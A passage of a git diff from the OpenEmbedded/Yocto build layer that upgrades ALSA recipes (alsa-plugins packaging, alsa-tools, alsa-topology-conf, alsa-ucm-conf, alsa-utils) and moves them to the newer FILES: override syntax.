+# Many plugins have a configuration file (plus a symlink in /etc) associated
+# with them. We put the plugin and it's configuration usually in the same
+# package, but that's problematic when the configuration file is related to
+# multiple plugins, as is the case with the pulse, oss and maemo plugins. In
+# case of the pulse plugins, we have a separate alsa-plugins-pulseaudio-conf
+# package that depends on all the pulse plugins, which ensures that all plugins
+# that the configuration references are installed. The oss and maemo
+# configuration files, on the other hand, are in the respective pcm plugin
+# packages. Therefore it's possible to install the configuration file without
+# the ctl plugin that the configuration file references. This is unlikely to
+# cause big problems, but some kind of improvement to the packaging could
+# probably be done here (at least it would be good to handle the different
+# plugins in a consistent way).
+FILES:${MLPREFIX}libasound-module-ctl-arcam-av += "\
+ ${datadir}/alsa/alsa.conf.d/50-arcam-av-ctl.conf \
+ ${sysconfdir}/alsa/conf.d/50-arcam-av-ctl.conf \
+"
+FILES:${MLPREFIX}libasound-module-pcm-a52 += "\
+ ${datadir}/alsa/alsa.conf.d/60-a52-encoder.conf \
+ ${sysconfdir}/alsa/conf.d/60-a52-encoder.conf \
+"
+FILES:${MLPREFIX}libasound-module-pcm-alsa-dsp += "\
+ ${datadir}/alsa/alsa.conf.d/98-maemo.conf \
+ ${sysconfdir}/alsa/conf.d/98-maemo.conf \
+"
+FILES:${MLPREFIX}libasound-module-pcm-jack += "\
+ ${datadir}/alsa/alsa.conf.d/50-jack.conf \
+ ${sysconfdir}/alsa/conf.d/50-jack.conf \
+"
+FILES:${MLPREFIX}libasound-module-pcm-oss += "\
+ ${datadir}/alsa/alsa.conf.d/50-oss.conf \
+ ${sysconfdir}/alsa/conf.d/50-oss.conf \
+"
+FILES:${MLPREFIX}libasound-module-pcm-speex += "\
+ ${datadir}/alsa/alsa.conf.d/60-speex.conf \
+ ${sysconfdir}/alsa/conf.d/60-speex.conf \
+"
+FILES:${MLPREFIX}libasound-module-pcm-upmix += "\
+ ${datadir}/alsa/alsa.conf.d/60-upmix.conf \
+ ${sysconfdir}/alsa/conf.d/60-upmix.conf \
+"
+FILES:${MLPREFIX}libasound-module-pcm-usb-stream += "\
+ ${datadir}/alsa/alsa.conf.d/98-usb-stream.conf \
+ ${sysconfdir}/alsa/conf.d/98-usb-stream.conf \
+"
+FILES:${MLPREFIX}libasound-module-pcm-vdownmix += "\
+ ${datadir}/alsa/alsa.conf.d/60-vdownmix.conf \
+ ${sysconfdir}/alsa/conf.d/60-vdownmix.conf \
+"
+FILES:${MLPREFIX}libasound-module-rate-lavrate += "\
+ ${datadir}/alsa/alsa.conf.d/10-rate-lav.conf \
+ ${sysconfdir}/alsa/conf.d/10-rate-lav.conf \
+"
+FILES:${MLPREFIX}libasound-module-rate-samplerate += "\
+ ${datadir}/alsa/alsa.conf.d/10-samplerate.conf \
+ ${sysconfdir}/alsa/conf.d/10-samplerate.conf \
+"
+FILES:${MLPREFIX}libasound-module-rate-speexrate += "\
+ ${datadir}/alsa/alsa.conf.d/10-speexrate.conf \
+ ${sysconfdir}/alsa/conf.d/10-speexrate.conf \
+"
+
+# The rate plugins create some symlinks. For example, the samplerate plugin
+# creates these links to the main plugin file:
+#
+# libasound_module_rate_samplerate_best.so
+# libasound_module_rate_samplerate_linear.so
+# libasound_module_rate_samplerate_medium.so
+# libasound_module_rate_samplerate_order.so
+#
+# The other rate plugins create similar links. We have to add the links to
+# FILES manually, because do_split_packages() skips the links (which is good,
+# because we wouldn't want do_split_packages() to create separate packages for
+# the symlinks).
+#
+# The symlinks cause QA errors, because usually it's a bug if a non
+# -dev/-dbg/-nativesdk package contains links to .so files, but in this case
+# the errors are false positives, so we disable the QA checks.
+FILES:${MLPREFIX}libasound-module-rate-lavrate += "${libdir}/alsa-lib/*rate_lavrate_*.so"
+FILES:${MLPREFIX}libasound-module-rate-samplerate += "${libdir}/alsa-lib/*rate_samplerate_*.so"
+FILES:${MLPREFIX}libasound-module-rate-speexrate += "${libdir}/alsa-lib/*rate_speexrate_*.so"
+INSANE_SKIP:${MLPREFIX}libasound-module-rate-lavrate = "dev-so"
+INSANE_SKIP:${MLPREFIX}libasound-module-rate-samplerate = "dev-so"
+INSANE_SKIP:${MLPREFIX}libasound-module-rate-speexrate = "dev-so"
+
+# 50-pulseaudio.conf defines a device named "pulse" that applications can use
+# if they explicitly want to use the PulseAudio plugin.
+# 99-pulseaudio-default.conf configures the "default" device to use the
+# PulseAudio plugin.
+FILES:${PN}-pulseaudio-conf += "\
+ ${datadir}/alsa/alsa.conf.d/50-pulseaudio.conf \
+ ${datadir}/alsa/alsa.conf.d/99-pulseaudio-default.conf \
+ ${sysconfdir}/alsa/conf.d/50-pulseaudio.conf \
+ ${sysconfdir}/alsa/conf.d/99-pulseaudio-default.conf \
+"
+
+RDEPENDS:${PN}-pulseaudio-conf += "\
+ ${MLPREFIX}libasound-module-conf-pulse \
+ ${MLPREFIX}libasound-module-ctl-pulse \
+ ${MLPREFIX}libasound-module-pcm-pulse \
+"
diff --git a/meta/recipes-multimedia/alsa/alsa-tools_1.2.11.bb b/meta/recipes-multimedia/alsa/alsa-tools_1.2.11.bb
new file mode 100644
index 0000000000..53868041c0
--- /dev/null
+++ b/meta/recipes-multimedia/alsa/alsa-tools_1.2.11.bb
@@ -0,0 +1,89 @@
+SUMMARY = "Advanced tools for certain ALSA sound card drivers"
+DESCRIPTION = "Package containing a number of tools ranging from envy24control \
+which provides complete control over all devices with an envy24 chip, to \
+firmware loaders for pcmcia, USB and the hdsp devices."
+HOMEPAGE = "http://www.alsa-project.org"
+BUGTRACKER = "http://alsa-project.org/main/index.php/Bug_Tracking"
+SECTION = "console/utils"
+LICENSE = "GPL-2.0-only & LGPL-2.0-or-later"
+DEPENDS = "alsa-lib"
+
+LIC_FILES_CHKSUM = "file://hdsploader/COPYING;md5=59530bdf33659b29e73d4adb9f9f6552 \
+ file://ld10k1/COPYING.LIB;md5=a916467b91076e631dd8edb7424769c7 \
+ "
+
+SRC_URI = "https://www.alsa-project.org/files/pub/tools/${BP}.tar.bz2"
+
+SRC_URI[sha256sum] = "0915c9634a502fd3655ca9c574d259bc9e79983d91d45aeacff6f3c00f8ae3e9"
+
+inherit autotools-brokensep pkgconfig
+# brokensep as as10k1 (and probably more) fail out of tree
+CLEANBROKEN = "1"
+
+# Here we use PACKAGECONFIG options to pick which directories we configure/build.
+# Remember on upgrades to check that no new tools have been added.
+PACKAGECONFIG ??= "as10k1 hdajacksensetest hda-verb hdsploader ld10k1 mixartloader pcxhrloader \
+ sb16_csp seq--sbiload sscape_ctl us428control usx2yloader vxloader \
+ ${@bb.utils.contains_any('DISTRO_FEATURES', '${GTK3DISTROFEATURES}', 'hdajackretask', '', d)} \
+ "
+
+PACKAGECONFIG[as10k1] = ""
+PACKAGECONFIG[echomixer] = ",,gtk+"
+PACKAGECONFIG[envy24control] = ",,gtk+"
+PACKAGECONFIG[hda-verb] = ""
+PACKAGECONFIG[hdajackretask] = ",,gtk+3"
+PACKAGECONFIG[hdajacksensetest] = ",,glib-2.0"
+PACKAGECONFIG[hdspconf] = ",,fltk"
+PACKAGECONFIG[hdsploader] = ""
+PACKAGECONFIG[hdspmixer] = ",,fltk"
+PACKAGECONFIG[ld10k1] = ""
+PACKAGECONFIG[mixartloader] = ""
+PACKAGECONFIG[pcxhrloader] = ""
+PACKAGECONFIG[qlo10k1] = ",,qt-x11-free"
+PACKAGECONFIG[rmedigicontrol] = ",,gtk+"
+PACKAGECONFIG[sb16_csp] = ""
+PACKAGECONFIG[seq--sbiload] = ""
+PACKAGECONFIG[sscape_ctl] = ""
+PACKAGECONFIG[us428control] = ""
+PACKAGECONFIG[usx2yloader] = ""
+PACKAGECONFIG[vxloader] = ""
+
+# At the time of writing pyalsa is not packaged for OE, so this is not expected
+# to work.
+PACKAGECONFIG[hwmixvolume] = ",,,python-core python-pygobject pyalsa"
+
+python do_configure() {
+ for subdir in d.getVar("PACKAGECONFIG").split():
+ subdir = subdir.replace("--", "/")
+ bb.note("Configuring %s" % subdir)
+ dd = d.createCopy()
+ dd.setVar("S", os.path.join(d.getVar("S"), subdir))
+ bb.build.exec_func("autotools_do_configure", dd)
+}
+
+python do_compile() {
+ for subdir in d.getVar("PACKAGECONFIG").split():
+ subdir = subdir.replace("--", "/")
+ bb.note("Compiling %s" % subdir)
+ dd = d.createCopy()
+ dd.setVar("S", os.path.join(d.getVar("S"), subdir))
+ bb.build.exec_func("autotools_do_compile", dd)
+}
+
+python do_install() {
+ d.delVarFlag("autotools_do_install", "cleandirs")
+ for subdir in d.getVar("PACKAGECONFIG").split():
+ subdir = subdir.replace("--", "/")
+ bb.note("Installing %s" % subdir)
+ dd = d.createCopy()
+ dd.setVar("S", os.path.join(d.getVar("S"), subdir))
+ bb.build.exec_func("autotools_do_install", dd)
+
+ # Just remove bash-needing init script that isn't installed as an init script
+ try:
+ os.remove(oe.path.join(d.getVar("D"), d.getVar("sbindir"), "ld10k1d"))
+ except:
+ pass
+}
+
+FILES:${PN} += "${datadir}"
diff --git a/meta/recipes-multimedia/alsa/alsa-tools_1.2.2.bb b/meta/recipes-multimedia/alsa/alsa-tools_1.2.2.bb
deleted file mode 100644
index 0838be8798..0000000000
--- a/meta/recipes-multimedia/alsa/alsa-tools_1.2.2.bb
+++ /dev/null
@@ -1,86 +0,0 @@
-SUMMARY = "Advanced tools for certain ALSA sound card drivers"
-HOMEPAGE = "http://www.alsa-project.org"
-BUGTRACKER = "http://alsa-project.org/main/index.php/Bug_Tracking"
-SECTION = "console/utils"
-LICENSE = "GPLv2 & LGPLv2+"
-DEPENDS = "alsa-lib"
-
-LIC_FILES_CHKSUM = "file://hdsploader/COPYING;md5=59530bdf33659b29e73d4adb9f9f6552 \
- file://ld10k1/COPYING.LIB;md5=a916467b91076e631dd8edb7424769c7 \
- "
-
-SRC_URI = "https://www.alsa-project.org/files/pub/tools/${BP}.tar.bz2"
-
-SRC_URI[md5sum] = "4e6187d2c3a8c73a9d75d66a72faed27"
-SRC_URI[sha256sum] = "bfd3c7aae1289269605d3da02279159b10e3dabdd31e658cbceaa30170957349"
-
-inherit autotools-brokensep pkgconfig
-# brokensep as as10k1 (and probably more) fail out of tree
-CLEANBROKEN = "1"
-
-# Here we use PACKAGECONFIG options to pick which directories we configure/build.
-# Remember on upgrades to check that no new tools have been added.
-PACKAGECONFIG ??= "as10k1 hdajacksensetest hda-verb hdsploader ld10k1 mixartloader pcxhrloader \
- sb16_csp seq--sbiload sscape_ctl us428control usx2yloader vxloader \
- ${@bb.utils.contains_any('DISTRO_FEATURES', '${GTK3DISTROFEATURES}', 'hdajackretask', '', d)} \
- "
-
-PACKAGECONFIG[as10k1] = ""
-PACKAGECONFIG[echomixer] = ",,gtk+"
-PACKAGECONFIG[envy24control] = ",,gtk+"
-PACKAGECONFIG[hda-verb] = ""
-PACKAGECONFIG[hdajackretask] = ",,gtk+3"
-PACKAGECONFIG[hdajacksensetest] = ",,glib-2.0"
-PACKAGECONFIG[hdspconf] = ",,fltk"
-PACKAGECONFIG[hdsploader] = ""
-PACKAGECONFIG[hdspmixer] = ",,fltk"
-PACKAGECONFIG[ld10k1] = ""
-PACKAGECONFIG[mixartloader] = ""
-PACKAGECONFIG[pcxhrloader] = ""
-PACKAGECONFIG[qlo10k1] = ",,qt-x11-free"
-PACKAGECONFIG[rmedigicontrol] = ",,gtk+"
-PACKAGECONFIG[sb16_csp] = ""
-PACKAGECONFIG[seq--sbiload] = ""
-PACKAGECONFIG[sscape_ctl] = ""
-PACKAGECONFIG[us428control] = ""
-PACKAGECONFIG[usx2yloader] = ""
-PACKAGECONFIG[vxloader] = ""
-
-# At the time of writing pyalsa is not packaged for OE, so this is not expected
-# to work.
-PACKAGECONFIG[hwmixvolume] = ",,,python-core python-pygobject pyalsa"
-
-python do_configure() {
- for subdir in d.getVar("PACKAGECONFIG").split():
- subdir = subdir.replace("--", "/")
- bb.note("Configuring %s" % subdir)
- dd = d.createCopy()
- dd.setVar("S", os.path.join(d.getVar("S"), subdir))
- bb.build.exec_func("autotools_do_configure", dd)
-}
-
-python do_compile() {
- for subdir in d.getVar("PACKAGECONFIG").split():
- subdir = subdir.replace("--", "/")
- bb.note("Compiling %s" % subdir)
- dd = d.createCopy()
- dd.setVar("S", os.path.join(d.getVar("S"), subdir))
- bb.build.exec_func("autotools_do_compile", dd)
-}
-
-python do_install() {
- for subdir in d.getVar("PACKAGECONFIG").split():
- subdir = subdir.replace("--", "/")
- bb.note("Installing %s" % subdir)
- dd = d.createCopy()
- dd.setVar("S", os.path.join(d.getVar("S"), subdir))
- bb.build.exec_func("autotools_do_install", dd)
-
- # Just remove bash-needing init script that isn't installed as an init script
- try:
- os.remove(oe.path.join(d.getVar("D"), d.getVar("sbindir"), "ld10k1d"))
- except:
- pass
-}
-
-FILES_${PN} += "${datadir}"
diff --git a/meta/recipes-multimedia/alsa/alsa-topology-conf_1.2.3.bb b/meta/recipes-multimedia/alsa/alsa-topology-conf_1.2.3.bb
deleted file mode 100644
index fd949be8a0..0000000000
--- a/meta/recipes-multimedia/alsa/alsa-topology-conf_1.2.3.bb
+++ /dev/null
@@ -1,19 +0,0 @@
-SUMMARY = "ALSA topology configuration files"
-HOMEPAGE = "https://alsa-project.org"
-BUGTRACKER = "https://alsa-project.org/wiki/Bug_Tracking"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=20d74d74db9741697903372ad001d3b4"
-
-SRC_URI = "https://www.alsa-project.org/files/pub/lib/${BP}.tar.bz2"
-SRC_URI[sha256sum] = "833f99b2cbda34e0cfef867ef1d2e6a74fe276bb7fc525a573be32077f629dff"
-
-inherit allarch
-
-do_install() {
- install -d ${D}/usr/share/alsa
- cp -r ${S}/topology ${D}/usr/share/alsa
-}
-
-PACKAGES = "${PN}"
-
-FILES_${PN} = "*"
diff --git a/meta/recipes-multimedia/alsa/alsa-topology-conf_1.2.5.1.bb b/meta/recipes-multimedia/alsa/alsa-topology-conf_1.2.5.1.bb
new file mode 100644
index 0000000000..4374a6bb6d
--- /dev/null
+++ b/meta/recipes-multimedia/alsa/alsa-topology-conf_1.2.5.1.bb
@@ -0,0 +1,23 @@
+SUMMARY = "ALSA topology configuration files"
+DESCRIPTION = "Provides a method for audio drivers to load their mixers, \
+routing, PCMs and capabilities from user space at runtime without changing \
+any driver source code."
+HOMEPAGE = "https://alsa-project.org"
+BUGTRACKER = "https://alsa-project.org/wiki/Bug_Tracking"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=20d74d74db9741697903372ad001d3b4"
+
+SRC_URI = "https://www.alsa-project.org/files/pub/lib/${BP}.tar.bz2"
+SRC_URI[sha256sum] = "f7c5bae1545abcd73824bc97f4e72c340e11abea188ba0f1c06f5e0ad776b179"
+# Something went wrong at upstream tarballing
+
+inherit allarch
+
+do_install() {
+ install -d "${D}${datadir}/alsa"
+ cp -r "${S}/topology" "${D}${datadir}/alsa"
+}
+
+PACKAGES = "${PN}"
+
+FILES:${PN} = "*"
diff --git a/meta/recipes-multimedia/alsa/alsa-ucm-conf_1.2.11.bb b/meta/recipes-multimedia/alsa/alsa-ucm-conf_1.2.11.bb
new file mode 100644
index 0000000000..ce1a42c9b8
--- /dev/null
+++ b/meta/recipes-multimedia/alsa/alsa-ucm-conf_1.2.11.bb
@@ -0,0 +1,24 @@
+SUMMARY = "ALSA Use Case Manager configuration"
+DESCRIPTION = "This package contains ALSA Use Case Manager configuration \
+of audio input/output names and routing for specific audio hardware. \
+They can be used with the alsaucm tool. "
+HOMEPAGE = "https://alsa-project.org"
+BUGTRACKER = "https://alsa-project.org/wiki/Bug_Tracking"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=20d74d74db9741697903372ad001d3b4"
+
+SRC_URI = "https://www.alsa-project.org/files/pub/lib/${BP}.tar.bz2"
+SRC_URI[sha256sum] = "387c01cf30e2a1676d7b8f72b2681cf219abca70dd1ec2a9e33add5bf3feae81"
+# Something went wrong at upstream tarballing
+
+inherit allarch
+
+do_install() {
+ install -d "${D}${datadir}/alsa"
+ cp -r "${S}/ucm" "${D}${datadir}/alsa"
+ cp -r "${S}/ucm2" "${D}${datadir}/alsa"
+}
+
+PACKAGES = "${PN}"
+
+FILES:${PN} = "*"
diff --git a/meta/recipes-multimedia/alsa/alsa-ucm-conf_1.2.3.bb b/meta/recipes-multimedia/alsa/alsa-ucm-conf_1.2.3.bb
deleted file mode 100644
index 19eeabff78..0000000000
--- a/meta/recipes-multimedia/alsa/alsa-ucm-conf_1.2.3.bb
+++ /dev/null
@@ -1,20 +0,0 @@
-SUMMARY = "ALSA Use Case Manager configuration"
-HOMEPAGE = "https://alsa-project.org"
-BUGTRACKER = "https://alsa-project.org/wiki/Bug_Tracking"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=20d74d74db9741697903372ad001d3b4"
-
-SRC_URI = "https://www.alsa-project.org/files/pub/lib/${BP}.tar.bz2"
-SRC_URI[sha256sum] = "1bc24da04bb27a75e323c9f0fb03e44705b6bb8a8baf255b94b41d457d590d00"
-
-inherit allarch
-
-do_install() {
- install -d ${D}/usr/share/alsa
- cp -r ${S}/ucm ${D}/usr/share/alsa
- cp -r ${S}/ucm2 ${D}/usr/share/alsa
-}
-
-PACKAGES = "${PN}"
-
-FILES_${PN} = "*"
diff --git a/meta/recipes-multimedia/alsa/alsa-utils-scripts_1.2.3.bb b/meta/recipes-multimedia/alsa/alsa-utils-scripts_1.2.3.bb
deleted file mode 100644
index 048fef68a5..0000000000
--- a/meta/recipes-multimedia/alsa/alsa-utils-scripts_1.2.3.bb
+++ /dev/null
@@ -1,25 +0,0 @@
-require alsa-utils.inc
-
-SUMMARY = "Shell scripts that show help info and create ALSA configuration files"
-PROVIDES = "alsa-utils-alsaconf"
-
-FILESEXTRAPATHS_prepend := "${THISDIR}/alsa-utils:"
-
-PACKAGES = "${PN}"
-RDEPENDS_${PN} += "bash"
-
-FILES_${PN} = "${sbindir}/alsaconf \
- ${sbindir}/alsa-info.sh \
- ${sbindir}/alsabat-test.sh \
- "
-
-S = "${WORKDIR}/alsa-utils-${PV}"
-
-do_install() {
- install -d ${D}${sbindir}
- install -m 0755 ${B}/alsaconf/alsaconf ${D}${sbindir}/
- install -m 0755 ${S}/alsa-info/alsa-info.sh ${D}${sbindir}/
- if ${@bb.utils.contains('PACKAGECONFIG', 'bat', 'true', 'false', d)}; then
- install -m 0755 ${S}/bat/alsabat-test.sh ${D}${sbindir}/
- fi
-}
diff --git a/meta/recipes-multimedia/alsa/alsa-utils.inc b/meta/recipes-multimedia/alsa/alsa-utils.inc
deleted file mode 100644
index b523a5a832..0000000000
--- a/meta/recipes-multimedia/alsa/alsa-utils.inc
+++ /dev/null
@@ -1,104 +0,0 @@
-SUMMARY = "ALSA sound utilities"
-HOMEPAGE = "http://www.alsa-project.org"
-BUGTRACKER = "http://alsa-project.org/main/index.php/Bug_Tracking"
-SECTION = "console/utils"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552 \
- file://alsactl/utils.c;beginline=3;endline=18;md5=96cc06a4cebe5eb7975688ffb0e65642"
-DEPENDS = "alsa-lib ncurses libsamplerate0"
-
-PACKAGECONFIG ??= "udev"
-
-# alsabat can be built also without fftw support (with reduced functionality).
-# It would be better to always enable alsabat, but provide an option for
-# enabling/disabling fftw. The configure script doesn't support that, however
-# (at least in any obvious way), so for now we only support alsabat with fftw
-# or no alsabat at all.
-PACKAGECONFIG[bat] = "--enable-bat,--disable-bat,fftwf"
-
-PACKAGECONFIG[udev] = "--with-udev-rules-dir=`pkg-config --variable=udevdir udev`/rules.d,--with-udev-rules-dir=/unwanted/rules.d,udev"
-PACKAGECONFIG[manpages] = "--enable-xmlto, --disable-xmlto, xmlto-native docbook-xml-dtd4-native docbook-xsl-stylesheets-native"
-
-# alsa-utils specified in SRC_URI due to alsa-utils-scripts recipe
-SRC_URI = "https://www.alsa-project.org/files/pub/utils/alsa-utils-${PV}.tar.bz2"
-SRC_URI[sha256sum] = "ff19ae48c22938de7a491bdb39db74a2eee2546013f39bf1a86185e426f921aa"
-
-# On build machines with python-docutils (not python3-docutils !!) installed
-# rst2man (not rst2man.py) is detected and compile fails with
-# | make[1]: *** No rule to make target 'alsaucm.1', needed by 'all-am'. Stop.
-# Avoid this by disabling expicitly
-EXTRA_OECONF = "--disable-rst2man"
-
-inherit autotools gettext pkgconfig manpages
-
-# This are all packages that we need to make. Also, the now empty alsa-utils
-# ipk depends on them.
-
-ALSA_UTILS_PKGS = "\
- ${@bb.utils.contains('PACKAGECONFIG', 'bat', 'alsa-utils-alsabat', '', d)} \
- alsa-utils-alsamixer \
- alsa-utils-alsatplg \
- alsa-utils-midi \
- alsa-utils-aplay \
- alsa-utils-amixer \
- alsa-utils-aconnect \
- alsa-utils-iecset \
- alsa-utils-speakertest \
- alsa-utils-aseqnet \
- alsa-utils-aseqdump \
- alsa-utils-alsactl \
- alsa-utils-alsaloop \
- alsa-utils-alsaucm \
- "
-
-PACKAGES += "${ALSA_UTILS_PKGS}"
-RDEPENDS_${PN} += "${ALSA_UTILS_PKGS}"
-
-FILES_${PN} = ""
-ALLOW_EMPTY_alsa-utils = "1"
-FILES_alsa-utils-alsabat = "${bindir}/alsabat"
-FILES_alsa-utils-alsatplg = "${bindir}/alsatplg"
-FILES_alsa-utils-aplay = "${bindir}/aplay ${bindir}/arecord ${bindir}/axfer"
-FILES_alsa-utils-amixer = "${bindir}/amixer"
-FILES_alsa-utils-alsamixer = "${bindir}/alsamixer"
-FILES_alsa-utils-speakertest = "${bindir}/speaker-test ${datadir}/sounds/alsa/ ${datadir}/alsa/speaker-test/"
-FILES_alsa-utils-midi = "${bindir}/aplaymidi ${bindir}/arecordmidi ${bindir}/amidi"
-FILES_alsa-utils-aconnect = "${bindir}/aconnect"
-FILES_alsa-utils-aseqnet = "${bindir}/aseqnet"
-FILES_alsa-utils-iecset = "${bindir}/iecset"
-FILES_alsa-utils-alsactl = "${sbindir}/alsactl */udev/rules.d/90-alsa-restore.rules */*/udev/rules.d/90-alsa-restore.rules ${systemd_unitdir} ${localstatedir}/lib/alsa ${datadir}/alsa/init/"
-FILES_alsa-utils-aseqdump = "${bindir}/aseqdump"
-FILES_alsa-utils-alsaloop = "${bindir}/alsaloop"
-FILES_alsa-utils-alsaucm = "${bindir}/alsaucm */udev/rules.d/89-alsa-ucm.rules */*/udev/rules.d/89-alsa-ucm.rules"
-
-SUMMARY_alsa-utils-alsabat = "Command-line sound tester for ALSA sound card driver"
-SUMMARY_alsa-utils-alsatplg = "Converts topology text files into binary format for kernel"
-SUMMARY_alsa-utils-aplay = "Play (and record) sound files using ALSA"
-SUMMARY_alsa-utils-amixer = "Command-line control for ALSA mixer and settings"
-SUMMARY_alsa-utils-alsamixer = "ncurses-based control for ALSA mixer and settings"
-SUMMARY_alsa-utils-speakertest = "ALSA surround speaker test utility"
-SUMMARY_alsa-utils-midi = "Miscellaneous MIDI utilities for ALSA"
-SUMMARY_alsa-utils-aconnect = "ALSA sequencer connection manager"
-SUMMARY_alsa-utils-aseqnet = "Network client/server for ALSA sequencer"
-SUMMARY_alsa-utils-iecset = "ALSA utility for setting/showing IEC958 (S/PDIF) status bits"
-SUMMARY_alsa-utils-alsactl = "Saves/restores ALSA-settings in /etc/asound.state"
-SUMMARY_alsa-utils-aseqdump = "Shows the events received at an ALSA sequencer port"
-SUMMARY_alsa-utils-alsaloop = "ALSA PCM loopback utility"
-SUMMARY_alsa-utils-alsaucm = "ALSA Use Case Manager"
-
-RRECOMMENDS_alsa-utils-alsactl = "alsa-states"
-
-do_install() {
- autotools_do_install
-
- # We don't ship this here because it requires a dependency on bash.
- # See alsa-utils-scripts_${PV}.bb
- rm ${D}${sbindir}/alsaconf
- rm ${D}${sbindir}/alsa-info.sh
- rm -f ${D}${sbindir}/alsabat-test.sh
-
- # If udev is disabled, we told configure to install the rules
- # in /unwanted, so we can remove them now. If udev is enabled,
- # then /unwanted won't exist and this will have no effect.
- rm -rf ${D}/unwanted
-}
diff --git a/meta/recipes-multimedia/alsa/alsa-utils_1.2.11.bb b/meta/recipes-multimedia/alsa/alsa-utils_1.2.11.bb
new file mode 100644
index 0000000000..e598fac9f8
--- /dev/null
+++ b/meta/recipes-multimedia/alsa/alsa-utils_1.2.11.bb
@@ -0,0 +1,124 @@
+SUMMARY = "ALSA sound utilities"
+DESCRIPTION = "collection of small and often extremely powerful applications \
+designed to allow users to control the various parts of the ALSA system."
+HOMEPAGE = "http://www.alsa-project.org"
+BUGTRACKER = "http://alsa-project.org/main/index.php/Bug_Tracking"
+SECTION = "console/utils"
+# Some parts are GPL-2.0-or-later, some are GPL-2.0-only (e.g. axfer, alsactl)
+# so result is GPL-2.0-only
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552 \
+ file://alsactl/utils.c;beginline=3;endline=18;md5=96cc06a4cebe5eb7975688ffb0e65642"
+DEPENDS = "alsa-lib ncurses libsamplerate0"
+
+PACKAGECONFIG ??= "udev"
+
+# alsabat can be built also without fftw support (with reduced functionality).
+# It would be better to always enable alsabat, but provide an option for
+# enabling/disabling fftw. The configure script doesn't support that, however
+# (at least in any obvious way), so for now we only support alsabat with fftw
+# or no alsabat at all.
+PACKAGECONFIG[bat] = "--enable-bat,--disable-bat,fftwf"
+
+PACKAGECONFIG[udev] = "--with-udev-rules-dir=`pkg-config --variable=udevdir udev`/rules.d,--with-udev-rules-dir=/unwanted/rules.d,udev"
+PACKAGECONFIG[manpages] = "--enable-xmlto, --disable-xmlto, xmlto-native docbook-xml-dtd4-native docbook-xsl-stylesheets-native"
+
+# alsa-utils specified in SRC_URI due to alsa-utils-scripts recipe
+SRC_URI = "https://www.alsa-project.org/files/pub/utils/alsa-utils-${PV}.tar.bz2 \
+ "
+SRC_URI[sha256sum] = "9ac6ca3a883f151e568dcf979b8d2e5cbecc51b819bb0e6bb8a2e9b34cc428a7"
+
+# On build machines with python-docutils (not python3-docutils !!) installed
+# rst2man (not rst2man.py) is detected and compile fails with
+# | make[1]: *** No rule to make target 'alsaucm.1', needed by 'all-am'. Stop.
+# Avoid this by disabling expicitly
+EXTRA_OECONF = "--disable-rst2man"
+
+inherit autotools gettext pkgconfig manpages
+
+# This are all packages that we need to make. Also, the now empty alsa-utils
+# ipk depends on them.
+
+ALSA_UTILS_PKGS = "\
+ ${@bb.utils.contains('PACKAGECONFIG', 'bat', 'alsa-utils-alsabat', '', d)} \
+ alsa-utils-alsamixer \
+ alsa-utils-alsatplg \
+ alsa-utils-midi \
+ alsa-utils-aplay \
+ alsa-utils-amixer \
+ alsa-utils-aconnect \
+ alsa-utils-iecset \
+ alsa-utils-speakertest \
+ alsa-utils-aseqnet \
+ alsa-utils-aseqdump \
+ alsa-utils-alsactl \
+ alsa-utils-alsaloop \
+ alsa-utils-alsaucm \
+ alsa-utils-scripts \
+ alsa-utils-nhltdmicinfo \
+ "
+
+PACKAGES += "${ALSA_UTILS_PKGS}"
+RDEPENDS:${PN} += "${ALSA_UTILS_PKGS}"
+
+FILES:${PN} = ""
+ALLOW_EMPTY:alsa-utils = "1"
+FILES:alsa-utils-alsabat = "${bindir}/alsabat"
+FILES:alsa-utils-alsatplg = "${bindir}/alsatplg ${libdir}/alsa-topology"
+FILES:alsa-utils-aplay = "${bindir}/aplay ${bindir}/arecord ${bindir}/axfer"
+FILES:alsa-utils-amixer = "${bindir}/amixer"
+FILES:alsa-utils-alsamixer = "${bindir}/alsamixer"
+FILES:alsa-utils-speakertest = "${bindir}/speaker-test ${datadir}/sounds/alsa/ ${datadir}/alsa/speaker-test/"
+FILES:alsa-utils-midi = "${bindir}/aplaymidi ${bindir}/arecordmidi ${bindir}/amidi"
+FILES:alsa-utils-aconnect = "${bindir}/aconnect"
+FILES:alsa-utils-aseqnet = "${bindir}/aseqnet"
+FILES:alsa-utils-iecset = "${bindir}/iecset"
+FILES:alsa-utils-alsactl = "${sbindir}/alsactl */udev/rules.d/90-alsa-restore.rules */*/udev/rules.d/90-alsa-restore.rules ${systemd_unitdir} ${localstatedir}/lib/alsa ${datadir}/alsa/init/"
+FILES:alsa-utils-aseqdump = "${bindir}/aseqdump"
+FILES:alsa-utils-alsaloop = "${bindir}/alsaloop"
+FILES:alsa-utils-alsaucm = "${bindir}/alsaucm */udev/rules.d/89-alsa-ucm.rules */*/udev/rules.d/89-alsa-ucm.rules"
+FILES:alsa-utils-scripts = "${sbindir}/alsaconf \
+ ${sbindir}/alsa-info.sh \
+ ${sbindir}/alsabat-test.sh \
+ "
+FILES:alsa-utils-nhltdmicinfo = "${bindir}/nhlt-dmic-info"
+
+SUMMARY:alsa-utils-alsabat = "Command-line sound tester for ALSA sound card driver"
+SUMMARY:alsa-utils-alsatplg = "Converts topology text files into binary format for kernel"
+SUMMARY:alsa-utils-aplay = "Play (and record) sound files using ALSA"
+SUMMARY:alsa-utils-amixer = "Command-line control for ALSA mixer and settings"
+SUMMARY:alsa-utils-alsamixer = "ncurses-based control for ALSA mixer and settings"
+SUMMARY:alsa-utils-speakertest = "ALSA surround speaker test utility"
+SUMMARY:alsa-utils-midi = "Miscellaneous MIDI utilities for ALSA"
+SUMMARY:alsa-utils-aconnect = "ALSA sequencer connection manager"
+SUMMARY:alsa-utils-aseqnet = "Network client/server for ALSA sequencer"
+SUMMARY:alsa-utils-iecset = "ALSA utility for setting/showing IEC958 (S/PDIF) status bits"
+SUMMARY:alsa-utils-alsactl = "Saves/restores ALSA-settings in /etc/asound.state"
